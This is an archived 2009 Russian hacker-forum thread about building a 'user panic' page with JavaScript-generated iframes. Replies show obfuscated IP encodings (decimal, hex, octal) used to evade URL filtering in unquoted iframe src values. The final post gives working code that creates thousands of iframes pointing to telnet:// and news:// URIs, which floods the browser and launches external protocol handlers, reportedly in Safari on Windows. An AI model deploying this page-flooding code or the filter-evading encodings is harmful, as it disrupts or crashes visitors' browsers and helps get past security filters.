Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

JS - присваивание аттрибута без вавычек

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> JS - присваивание аттрибута без вавычек
Имя
Сообщение << Старые топики   Новые топики >>
JS - присваивание аттрибута без вавычек - 2009-09-18 13:12:37.486666   
pod_edge

Сообщений: 26
Оценки: 0
Присоединился: 2009-06-25 16:47:08.883333
пытаюсь реализовать user panic

есть JS который генерирует iframe и прсиваивает ему аттрибут src
&lt;body onload="makeFrame()" /&gt; &lt;script&gt; &nbsp;&nbsp;&nbsp; function makeFrame() { &nbsp;&nbsp;&nbsp; ifrm = document.createElement("IFRAME"); &nbsp;&nbsp;&nbsp; ifrm.src = 'http://www.google.com/'; &nbsp;&nbsp;&nbsp; document.body.appendChild(ifrm); &nbsp;&nbsp;&nbsp; } &lt;/script&gt; соответственно создается iframe
&lt;iframe src="http://www.google.com"&gt;&lt;/iframe&gt; суть проблемы в том, что аттрибут нужно присвоить БЕЗ кавычек, т.е. конченый iframe должен выглядеть так
&lt;iframe src=http://www.google.com&gt;&lt;/iframe&gt; кто-нибудь знает как реализовать это стандартным яваскриптом
Post #: 1
RE: JS - присваивание аттрибута без вавычек - 2009-09-18 14:17:47.850000   
codeismy.name

Сообщений: 618
Оценки: 0
Присоединился: 2009-07-19 00:30:13.200000
можно попробовать через добавление атрибута
както так
AddAttribute('src=http://www.google.com');
другого способа наверное нет
Post #: 2
RE: JS - присваивание аттрибута без вавычек - 2009-09-18 18:11:30.993333   
pod_edge

Сообщений: 26
Оценки: 0
Присоединился: 2009-06-25 16:47:08.883333
как то не получается - он вообще не присваивает
Post #: 3
RE: JS - присваивание аттрибута без вавычек - 2009-09-21 19:54:39.196666   
tеstеr

Сообщений: 377
Оценки: -46
Присоединился: 2008-02-08 17:56:40.563333
Я думаю в сторону
document.write('<iframe src=http://www.google.com></iframe>')

И игры с IP (страница, на которой будет располагаться это, должна быть доступна по http:// или https://):
document.write('<iframe src=74.125.77.147></iframe>')
document.write('<iframe src=1249725843></iframe>')
document.write('<iframe src=0x4a.0x7d.0x4d.0x93></iframe>')
document.write('<iframe src=0112.0175.0115.0223></iframe>')
Post #: 4
RE: JS - присваивание аттрибута без вавычек - 2009-09-23 13:10:57.926666   
pod_edge

Сообщений: 26
Оценки: 0
Присоединился: 2009-06-25 16:47:08.883333
сделал
правда кавычки убирать даже не пришлось
попробуйте открыть старницу в Safari (Windows)
&lt;body /&gt; &lt;script&gt; &nbsp;&nbsp;&nbsp; function makeFrameTelnet() { &nbsp;&nbsp;&nbsp; ifrm = document.createElement("IFRAME"); &nbsp;&nbsp;&nbsp; ifrm.src = 'telnet://nonexistent.com:80'; &nbsp;&nbsp;&nbsp; document.body.appendChild(ifrm); &nbsp;&nbsp;&nbsp; } &lt;/script&gt; &lt;script&gt; &nbsp;&nbsp;&nbsp; function makeFrameNews() { &nbsp;&nbsp;&nbsp; ifrm = document.createElement("IFRAME"); &nbsp;&nbsp;&nbsp; ifrm.src = 'news://nonexistent.com'; &nbsp;&nbsp;&nbsp; document.body.appendChild(ifrm); &nbsp;&nbsp;&nbsp; } &lt;/script&gt; &lt;script&gt; &nbsp;&nbsp;&nbsp; for (i=0; i &lt; 9999; i++) { &nbsp;&nbsp;&nbsp; makeFrameTelnet() &nbsp;&nbsp;&nbsp; makeFrameNews() &nbsp;&nbsp;&nbsp; } &lt;/script&gt;
Post #: 5
Страниц:  [1]
Все форумы >> [Веб-программинг] >> JS - присваивание аттрибута без вавычек







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.